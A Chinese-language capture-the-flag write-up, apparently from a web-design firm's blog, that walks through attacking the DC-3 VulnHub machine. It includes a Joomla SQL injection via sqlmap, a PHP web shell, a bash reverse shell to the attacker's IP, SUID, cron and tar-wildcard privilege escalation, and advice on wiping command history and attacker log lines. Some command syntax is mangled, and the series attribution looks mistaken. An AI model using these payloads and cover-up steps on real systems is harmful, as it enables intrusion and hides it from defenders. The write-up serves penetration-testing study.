尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

DC-3靶机渗透实战:从信息收集到权限提升的完整复盘

DC-3靶机渗透实战:从信息收集到权限提升的完整复盘 1. 从“一看就会”说起为什么DC-3靶机值得你花时间如果你对网络安全、渗透测试感兴趣或者正在准备相关的认证考试那么“靶机”这个词对你来说一定不陌生。DC-3是VulnHub上一个非常经典的渗透测试靶机属于“Drifting Blues”系列。网上关于它的攻略和Writeup解题报告非常多但很多要么是直接甩命令和结果要么就是步骤跳跃让新手看得云里雾里。标题里说“过程详细一看就会”这恰恰点出了很多学习者的痛点我们需要的不是一份冷冰冰的答案列表而是一个能讲清楚“为什么这么做”和“如果出错了怎么办”的完整过程复盘。我自己在带新人或者自己复现靶机时最大的感触就是照着别人的步骤做一遍成功了但可能什么都没记住。真正的收获来自于理解每一个命令背后的意图分析每一次失败的原因以及思考攻击路径的逻辑。DC-3靶机虽然难度不算顶级但它串联了从信息收集、漏洞发现、漏洞利用、权限提升到最终获取flag的完整流程非常适合用来巩固Web渗透和Linux系统渗透的基础技能。它不像一些“炫技”型靶机那样依赖生僻的零日漏洞而是考察你对常见漏洞比如CMS漏洞、文件包含、命令注入的利用能力以及对Linux系统提权手法的熟悉程度。接下来我会以一个“复盘者”而非“答案发布者”的角度带你完整走一遍DC-3的渗透过程并穿插我踩过的坑和总结的经验。2. 环境搭建与初步信息收集别急着扫描在开始任何渗透测试之前搭建一个隔离、可控的实验环境是第一步也是安全从业者的基本素养。直接在自己的物理机或生产网络里搞测试是绝对禁止的。2.1 靶机与攻击机环境准备DC-3靶机是一个OVA格式的虚拟机文件你需要一个虚拟机软件来运行它比如VMware Workstation/Player或者VirtualBox。我个人的习惯是使用VMware因为对虚拟网络的支持更稳定一些。下载靶机从VulnHub官网搜索“DC-3”或“DriftingBlues: 3”即可找到下载链接。确保下载的是正确的文件。导入虚拟机打开VMware选择“文件”-“打开”找到下载的.ova文件按照提示导入。通常保持默认设置即可。网络设置这是关键一步。将靶机的网络适配器设置为“NAT模式”或“仅主机模式”。我强烈推荐使用“仅主机模式”Host-Only。为什么是仅主机模式在这种模式下虚拟机会创建一个与物理主机直接通信的私有网络不连接外网。这保证了测试环境的绝对封闭性靶机不会意外访问互联网攻击机通常是Kali Linux虚拟机也能直接与它通信。在VMware中你需要确保“虚拟网络编辑器”里启用了“VMnet1仅主机模式”并记下其子网网段例如192.168.xxx.0/24。启动靶机启动DC-3虚拟机。你会看到它启动一个Linux系统最终停留在一个登录提示符界面。记住我们不需要知道它的密码我们的目标就是通过渗透手段获得这个系统的访问权限。准备攻击机同样你需要一个Kali Linux虚拟机作为攻击机。将其网络适配器也设置为同一个“仅主机模式”连接到VMnet1。这样Kali和DC-3就在同一个局域网段了。启动后在Kali Linux中打开终端首先检查自己的IP地址ip addr show或ifconfig然后我们需要找到靶机的IP。2.2 发现目标确定靶机IP地址在不知道靶机IP的情况下我们需要进行网络发现。最常用的工具是nmap。# 首先查看攻击机自身的IP和网段假设是192.168.56.101/24 ip addr show # 使用nmap进行ping扫描发现同一网段内存活的主机 sudo nmap -sn 192.168.56.0/24-sn参数表示只进行主机发现Ping扫描不进行端口扫描。执行后你会看到一个IP列表其中除了你的Kali机另一个就是DC-3靶机。假设我们发现了192.168.56.102。注意有些靶机可能禁用了ICMP回应Ping导致-sn扫描不到。如果出现这种情况可以尝试使用ARP扫描因为同一局域网内ARP协议总是有效的。可以使用netdiscover工具sudo netdiscover -r 192.168.56.0/24。或者使用nmap的-PRARP Ping参数sudo nmap -PR -sn 192.168.56.0/24。2.3 全面的端口与服务探测拿到IP后下一步是进行详细的端口扫描了解靶机开放了哪些服务这是信息收集的核心。# 使用nmap进行全端口扫描-p-并启用服务版本探测-sV和默认脚本扫描-sC sudo nmap -sV -sC -p- 192.168.56.102 -oN dc3_initial_scan.txt-sV: 探测服务/版本信息。光知道开了80端口不够我们得知道上面跑的是什么ApacheNginx以及具体版本。-sC: 使用默认的Nmap脚本引擎进行扫描这些脚本能发现一些常见漏洞或获取额外信息比如HTTP标题、robots.txt等。-p-: 扫描所有65535个端口。虽然慢但对于靶机或内部渗透测试是必要的避免遗漏像8080、8443这样的非标准端口。-oN: 将扫描结果输出到文件方便后续分析。扫描完成后你会得到一份详细的报告。对于DC-3典型的扫描结果会显示只开放了80端口运行着Apache httpd服务。这立刻将我们的攻击面聚焦到了Web应用上。3. Web应用渗透从网站到后台既然只有80端口开放浏览器就是我们首要的武器。在浏览器中访问http://192.168.56.102。3.1 网站指纹识别与目录枚举访问首页你可能会看到一个网站。第一步是识别这个网站用了什么技术栈。手动观察查看网页源代码注意meta标签、引用的JS/CSS库路径、Cookie名称、HTTP响应头可以用浏览器开发者工具的Network标签查看。这些地方常常会暴露框架或CMS信息。对于DC-3你很可能在页面底部或源码中发现“Joomla!”的字样。使用工具确认在Kali终端可以使用whatweb工具进行快速的指纹识别。whatweb http://192.168.56.102这个命令会输出检测到的技术信息如CMS、Web服务器版本、编程语言等。确认是Joomla后我们还需要知道它的具体版本因为不同版本的漏洞可能不同。目录与文件枚举网站根目录下往往存在一些隐藏的或默认的文件如robots.txt,administrator/后台目录README等。我们可以使用目录爆破工具来发现它们。gobuster和dirb是常用工具。# 使用gobuster进行目录爆破使用常见的字典文件 gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bakdir: 指定模式为目录枚举。-u: 目标URL。-w: 指定字典文件路径。common.txt是一个不错的起点。-x: 指定同时尝试这些后缀的文件。扫描结果中你一定会发现/administrator/这个目录这是Joomla的后台管理登录入口。访问它会看到一个Joomla后台登录页面。3.2 漏洞研究与利用Joomla的突破口知道是Joomla后我们的思路就清晰了寻找Joomla的已知漏洞。这里有两种主要方法手动搜索与利用使用searchsploitKali自带的本地漏洞库来查找Joomla相关漏洞。searchsploit joomla你会看到很多条目。我们需要结合之前whatweb或页面信息获取的Joomla版本号进行筛选。假设DC-3用的是Joomla 3.7.x版本这是一个常见设定那么一个著名的漏洞是Joomla 3.7.0 - SQL Injection (CVE-2017-8917)。这个漏洞存在于com_fields组件中允许未授权用户进行SQL注入。使用自动化工具sqlmap是检测和利用SQL注入的神器。我们可以将含有潜在注入点的URL交给它测试。对于CVE-2017-8917漏洞触发点通常是一个特定的URL参数。你可以先在网上搜索该漏洞的详细利用方式找到一个类似这样的POC概念验证URLhttp://target/joomla/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(0x23,concat(1,user()),1)但是更高效的方式是直接使用sqlmap进行检测sqlmap -u http://192.168.56.102/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]test --risk3 --level5 --batch-u: 指定目标URL。--risk和--level: 提高检测等级和风险等级以进行更深入的测试。--batch: 以非交互模式运行所有提示都选择默认。如果漏洞存在sqlmap会很快识别出注入点并可以让你执行后续操作比如获取数据库名、表名、列数据甚至是执行系统命令取决于数据库权限和配置。3.3 获取Web Shell与反向Shell通过SQL注入我们的目标通常是获取后台管理员密码或者直接向服务器写入一个Web Shell一个能通过Web访问并执行命令的脚本文件。获取管理员凭证使用sqlmap的--dump参数来导出数据库中的数据。你需要先枚举数据库--dbs然后枚举表-D database_name --tables找到存储用户信息的表在Joomla中通常是_users表注意前缀可能不同。# 假设数据库名为joomladb用户表为abc_usersabc是表前缀 sqlmap -u http://192.168.56.102/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]test -D joomladb -T abc_users --dumpsqlmap会尝试破解密码哈希。Joomla默认使用bcrypt或MD5加盐哈希。sqlmap可能会利用内置的字典进行破解但如果密码强度高可能无法直接破解。这时你可以将哈希值保存下来用john或hashcat进行离线暴力破解。不过在DC-3这个靶机中为了降低难度密码通常设置得比较简单sqlmap有很大几率直接破解出来。登录后台与上传Web Shell获得管理员账号密码后登录/administrator/后台。在Joomla后台寻找可以上传文件的地方例如“扩展管理”-“模板管理”-“模板样式”编辑某个模板的PHP文件比如index.php将你的Web Shell代码写入其中。常用的Web Shell代码很简单?php system($_GET[‘cmd‘]); ?保存后访问这个模板文件例如http://192.168.56.102/templates/your_template/index.php?cmdwhoami如果页面输出了命令执行结果说明Web Shell写入成功。升级为反向ShellWeb Shell是功能受限的交互性差。我们需要一个反向Shell让靶机主动连接到我们攻击机监听的一个端口从而给我们一个完整的命令行交互环境。在攻击机Kali上监听打开一个终端使用netcat监听一个端口比如4444。nc -lvnp 4444-l监听-v详细输出-n不解析域名-p指定端口。从Web Shell触发连接通过Web Shell执行一个命令让靶机连接到我们。有多种Payload这里以最常用的bash反向Shell为例。在Web Shell的cmd参数中执行bash -c ‘bash -i /dev/tcp/192.168.56.101/4444 01‘注意将IP192.168.56.101替换成你Kali攻击机的真实IP。如果执行成功你会在netcat监听的那个终端里看到连接建立并出现一个命令行提示符可能是www-datadc-3:$这表示你已经以Web服务用户通常是www-data的身份获得了靶机的一个Shell。4. 权限提升从www-data到root拿到www-data的Shell只是第一步这个用户权限很低无法读取最终的flag文件通常位于/root或/home下的某个用户目录中。我们需要进行权限提升Privilege Escalation。4.1 初步信息收集了解我们身处何境在提权之前必须充分了解当前系统的环境。我会运行一系列命令来收集信息# 查看当前用户和组 id whoami # 查看系统内核版本和发行版信息 uname -a cat /etc/os-release lsb_release -a 2/dev/null # 查看以root身份运行的定时任务Cron Jobs cat /etc/crontab ls -la /etc/cron.*/ # 查看具有SUID/SGID特殊权限的可执行文件这是提权的重点方向 find / -type f -perm -us 2/dev/null find / -type f -perm -gs 2/dev/null # 查看当前用户能以sudo方式运行哪些命令 sudo -l # 查看网络连接和监听端口 netstat -tulnp ss -tulnp # 查看进程列表 ps aux # 查看安装的软件包版本特别是可能利用的 dpkg -l # 对于Debian/Ubuntu rpm -qa # 对于RHEL/CentOS这些信息会为我们提供提权的线索。例如一个过时的内核版本可能对应着公开的本地提权漏洞一个配置错误的SUID二进制文件可能允许我们执行任意命令一个以root身份运行的定时任务脚本如果我们可以写入就能获得root权限。4.2 利用SUID二进制文件提权在Linux中SUIDSet User ID是一种特殊的文件权限。当一个具有SUID权限的可执行文件被运行时它会以文件所有者的身份运行而不是执行者的身份。如果这个文件的所有者是root并且程序本身存在漏洞或者可以被我们以某种方式影响我们就有可能获得root shell。运行find / -type f -perm -us 2/dev/null后仔细检查列表。一些常见的、容易被滥用的SUID程序包括find(如果版本较老可以用-exec参数执行命令)vim/vinanobash(某些版本)less/morenmap(旧版的交互模式)cp/mv假设我们在DC-3上发现了一个不常见但具有SUID权限的二进制文件或者发现一个常见命令如find的版本存在已知的提权方法。例如如果find命令有SUID位我们可以尝试# 利用find的-exec参数执行命令 find / -name anything -exec /bin/bash -p \;-p参数是为了保留SUID赋予的权限。如果成功我们会得到一个root shell。另一种情况是如果vim或less有SUID权限我们可以通过它们来读取只有root能读的文件比如/etc/shadow存储用户密码哈希或者尝试在它们内部执行shell命令在vim中:!bash。4.3 利用定时任务Cron Job提权检查/etc/crontab文件看看有没有以root身份定期运行的任务。重点看这些任务执行的脚本或命令的路径是否我们具有写权限或者是否存在通配符滥用。例如假设有一个定时任务* * * * * root /opt/scripts/backup.sh如果我们能修改/opt/scripts/backup.sh这个文件那么下一分钟这个脚本以root身份运行时就会执行我们写入的恶意代码比如chmod us /bin/bash给bash加上SUID位。再比如如果任务是这样* * * * * root tar -czf /backups/backup.tar.gz /var/www/html/*这里使用了通配符*。如果我们在/var/www/html/目录下创建一个文件名以特定方式命名的文件例如--checkpoint1或--checkpoint-actionexecshell.sh在某些老版本的tar命令中这可能导致命令注入。这就是通配符注入漏洞。4.4 内核漏洞提权最后的手段如果以上方法都行不通并且系统内核版本较老我们可以尝试寻找对应的本地提权LPE漏洞。我们可以使用一些自动化脚本来检查比如linux-exploit-suggester.sh或linpeas.sh。将提权脚本上传到靶机在攻击机上启动一个简单的HTTP服务器。# 在Kali上进入存放linpeas.sh的目录 python3 -m http.server 8000在靶机Shell中下载并运行# 在靶机的www-data shell中 cd /tmp wget http://192.168.56.101:8000/linpeas.sh chmod x linpeas.sh ./linpeas.shlinpeas会运行一系列检查并以彩色高亮的形式提示可能的提权路径包括可写的敏感文件、危险的SUID程序、环境变量问题、内核漏洞等。它会给出具体的CVE编号和利用建议。编译并运行Expolit如果linpeas提示了一个内核漏洞比如CVE-2021-4034即PwnKit我们需要找到对应的漏洞利用代码Expolit将其上传到靶机编译如果需要然后运行。由于靶机可能没有编译环境gcc我们有时需要在攻击机上编译好对应架构通常是x64的二进制文件再上传执行。重要提示在内网生产环境中运行内核Expolit是高风险操作可能导致系统崩溃蓝屏/死机。但在靶机环境中可以放心尝试。在DC-3靶机中根据其发布年份和常见设定很可能不需要走到内核漏洞这一步通过前面几种方法之一就能成功提权。5. 获取Flag与痕迹清理5.1 寻找Flag文件成功提权到root后最后一步就是寻找flag。在VulnHub的靶机中flag通常是一个名为flag.txt、proof.txt或root.txt的文本文件存放在/root目录下或者有时在/home下的某个用户目录里。# 切换到root目录并查看 cd /root ls -la cat flag.txt # 或 proof.txt, root.txt # 如果在/root没找到可以全局搜索 find / -name *flag* -o -name *proof* -o -name *root.txt 2/dev/null找到并读取flag文件的内容这就是你完成渗透测试的最终证明。5.2 可选清理痕迹在真实的渗透测试中获得授权后通常需要清理留下的痕迹以免被蓝队发现。这包括删除Web Shell文件回到你上传或修改的Web Shell文件位置将其恢复原状或删除。清除命令历史清除当前用户在靶机上的命令历史记录。# 清除当前shell的历史 history -c # 或者直接清空历史记录文件 echo ~/.bash_history # 如果是root用户可能还需要清除其他shell的历史删除上传的工具删除你从攻击机上传的各类脚本和Expolit文件如linpeas.sh、提权二进制文件等。rm -f /tmp/linpeas.sh /tmp/exploit检查日志查看并清理可能记录了你攻击行为的日志如Apache访问日志/var/log/apache2/access.log、认证日志/var/log/auth.log等。但要注意直接删除整个日志文件行为非常可疑更隐蔽的做法是只删除与自己IP相关的行。不过在靶机练习中这一步通常可以省略。6. 复盘与经验总结比拿到Flag更重要走完整个流程拿到Flag并不意味着结束。真正的学习发生在复盘阶段。针对DC-3这个靶机我们可以总结出以下几点经验信息收集是基石90%的成功依赖于充分的信息收集。不要一上来就盲目扫描漏洞。先搞清楚目标是什么Joomla CMS、版本是多少、开放了哪些端口和服务、有哪些目录和文件。这些信息直接决定了后续的攻击路径。漏洞利用的精确性知道漏洞CVE-2017-8917和成功利用它是两回事。你需要精确地构造Payload或者熟练使用像sqlmap这样的工具。理解漏洞原理这里是基于时间的盲注能帮助你在工具失效时进行手动调整。Shell的稳定性通过Web命令执行获得的反向Shell往往不太稳定容易断开。一旦获得初始Shell应该立即想办法将其稳定化。常用的方法有使用python或python3生成一个PTY伪终端python3 -c ‘import pty; pty.spawn(/bin/bash)‘使用socat或script等工具。通过ssh密钥等方式建立更稳定的连接如果条件允许。提权路径的多样性提权没有固定公式。必须系统性地收集信息SUID、Cron、sudo、内核版本、安装的软件、可写路径等然后像侦探一样分析每一条线索。linpeas这类自动化脚本是很好的助手但不能完全依赖它理解它每一条告警背后的原理才是关键。保持环境一致性确保攻击机和靶机在同一网络模式仅主机模式下这是很多新手容易出错的地方。如果网络不通后续所有步骤都无法进行。耐心与记录渗透测试过程中会遇到各种错误命令执行失败Payload不生效。保持耐心仔细检查每一个步骤对比IP地址、端口、文件路径等细节是否准确。养成随时记录命令和结果的習慣这有助于回溯和复盘。DC-3靶机就像一道经典的“标准菜”它涵盖了Web渗透到系统提权的主流技术点。通过亲手复现并理解其中的每一个环节你构建起的不是零散的命令记忆而是一套应对未知系统的系统性方法论。下次遇到一个新的目标你自然会知道从哪里开始如何推进这才是打靶练习的真正价值所在。
返回列表